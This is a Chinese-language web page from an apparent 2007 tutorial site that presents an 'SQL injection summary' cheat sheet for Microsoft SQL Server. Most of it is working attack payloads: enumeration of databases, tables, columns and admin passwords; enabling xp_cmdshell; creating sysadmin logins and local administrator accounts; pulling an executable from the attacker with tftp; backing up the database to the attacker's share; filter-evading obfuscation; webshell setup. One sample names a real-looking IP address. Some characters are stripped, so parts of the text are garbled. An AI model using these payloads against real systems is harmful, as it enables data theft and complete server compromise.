转至繁体中文版     | 网站首页 | 图文教程 | 资源下载 | 站长博客 | 图片素材 | 武汉seo | 武汉网站优化 | 
最新公告:     敏韬网|教学资源学习资料永久免费分享站!  [mintao  2008年9月2日]        
您现在的位置: 学习笔记 >> 图文教程 >> 数据库 >> Sql Server >> 正文
SQL注射总结         

SQL注射总结

作者:闵涛 文章来源:闵涛的学习笔记 点击数:3212 更新时间:2007/11/14 13:13:35

  最重要的表名:


select  from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses

  最重要的一些用户名(默认sql数据库中存在着的)
public
dbo
guest(一般禁止,或者没权限)
db_sercurityadmin
ab_dlladmin

  一些默认扩展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驱动器相关
xp_dirtree 目录
xp_enumdsn ODBC连接
xp_loginconfig 服务器安全模式信息
xp_makecab 创建压缩卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 终端进程,给出一个PID

  例如:
sp_addextendedproc 'xp_webserver', 'ctempxp_foo.dll'
exec xp_webserver
sp_dropextendedproc 'xp_webserver'
bcp select  FROM test..foo queryout cinetpubwwwrootruncommand.asp
-c -Slocalhost -Usa -Pfoobar
' group by users.id having 1=1-
' group by users.id, users.username, users.password, users.privs having 1=1-
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )-

union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')-
union select TOP 1 login_name FROM logintable-
union select TOP 1 password FROM logintable where login_name='Rahul'--

  构造语句:查询是否存在xp_cmdshell
' union select @@version,1,1,1--
and 1=(select @@VERSION)
and 'sa'=(select System_user)
' union select ret,1,1,1 from foo--
' union select min(username),1,1,1 from users where username  'a'-
' union select min(username),1,1,1 from users where username  'admin'-
' union select password,1,1,1 from users where username = 'admin'--
and user_name()='dbo'
and 0(select user_name()-
; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:WINNTsystem32cmd.exe c net user swap 5245886 add'
and 1=(select count() FROM master.dbo.sysobjects where
xtype = 'X' AND name = 'xp_cmdshell')
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'


1=(%20select%20count()%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')
and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判断sa权限是否
and 0(select top 1 paths from newtable)-- 暴库大法
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名(从1到5都是系统的id,6以上才可以判断)

  创建一个虚拟目录E盘:
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:inetpubwwwrootmkwebdir.vbs -w 默认 Web 站点 -v e,e:'
访问属性:(配合写入一个webshell)
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:inetpubwwwrootchaccess.vbs -a w3svc1ROOTe +browse'


and 0(select count() from master.dbo.sysdatabases where name1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin

and 0(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来得到其他的表。
and 0(select count() from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...)) 来暴出其他的字段
and 0(select user_id from BBS.dbo.admin where username1)

  可以得到用户名 依次可以得到密码。。。。。假设存在user_id username ,password 等字段
Show.aspid=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13, from admin
Show.aspid=-1 union select 1,2,3,4,5,6,7,8,,9,10,11,12,13 from admin

(union语句到处风靡啊,access也好用

  暴库特殊技巧:%5c='' 或者把和 修改%5提交
and 0(select count() from master.dbo.sysdatabases where name1 and dbid=6)
and 0(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
and 0(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
and 0(select count() from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid(str(id))) 判断id值
and 0(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

_blankhttpxx.xx.xx.xx111.aspid=3400;create table [dbo].[swap] ([swappass][char](255));--

_blankhttpxx.xx.xx.xx111.aspid=3400 and (select top 1 swappass from swap)=1
;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots', @value_name='', values=@test OUTPUT insert into paths(path) values(@test)

_blankhttp61.131.96.39PageShow.aspTianName=政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20wscript.shell,@s%20out;exec%20sp_oamethod%20@s,run,NULL,cmd.exe%20c%20ping%201.1.1.1;--

  得到了web路径dxxxx,接下来:
_blankhttpxx.xx.xx.xx111.aspid=3400;use ku1;--
_blankhttpxx.xx.xx.xx111.aspid=3400;create table cmd (str image);--

  传统的存在xp_cmdshell的测试过程:
;exec master..xp_cmdshell 'dir'
;exec master.dbo.sp_addlogin hax;--
;exec master.dbo.sp_password null,hax,hax;--
;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
;exec master.dbo.xp_cmdshell 'net user hax 5258 workstations timesall passwordchgyes passwordreqyes  activeyes add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators hax add';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
http:www.xxx.comlist.aspclassid=1; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:WINNTsystem32cmd.exe c net user swap 5258 add'
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:WINNTsystem32cmd.exe c net localgroup administrators swapadd'

_blankhttplocalhostshow.aspid=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-

declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c'
;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat'
如果被限制则可以。
select  from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')

  传统查询构造:
select  FROM news where id=... AND topic=... AND .....
admin'and 1=(select count() from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass '
select 123;--
;use master;--
a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。
'and 1(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status0) where name='ffff';--

  说明
  上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
  通过查看ffff的用户资料可得第一个用表叫ad
  然后根据表名ad得到这个表的ID
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--

  象下面这样就可以得到第二个表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id581577110) where name='ffff';--
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2)
where name='ffff';--

ffff';update [users] set email=(select top 1 name from password where id=2)
where name='ffff';--

exec master..xp_servicecontrol 'start', 'schedule'
exec master.

[1] [2] [3]  下一页


[办公软件]在sybase中插入图片、PDF、文本文件  [办公软件]安装Sybase ASE
[办公软件]linux指令大全(完整篇)  [办公软件]Linux新手入门常用命令大全
[办公软件]在RedHat Linux 9里安装gaim0.80  [办公软件]浅谈Linux 下Java 1.5 汉字方块问题解决方法
[办公软件]Linux程序员必读:中文化与GB18030标准  [办公软件]linux指令大全
[办公软件]制作Linux启动盘的四种方法  [办公软件]Linux文件系统的反删除方法
教程录入:mintao    责任编辑:mintao 
  • 上一篇教程:

  • 下一篇教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    同类栏目
    · Sql Server  · MySql
    · Access  · ORACLE
    · SyBase  · 其他
    更多内容
    热门推荐 更多内容
  • 没有教程
  • 赞助链接
    更多内容
    闵涛博文 更多关于武汉SEO的内容
    500 - 内部服务器错误。

    500 - 内部服务器错误。

    您查找的资源存在问题,因而无法显示。

    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright @ 2007-2012 敏韬网(敏而好学,文韬武略--MinTao.Net)(学习笔记) Inc All Rights Reserved.
    闵涛 投放广告、内容合作请Q我! E_mail:admin@mintao.net(欢迎提供学习资源)

    站长:MinTao ICP备案号:鄂ICP备11006601号-18

    闵涛站盟:医药大全-武穴网A打造BCD……
    咸宁网络警察报警平台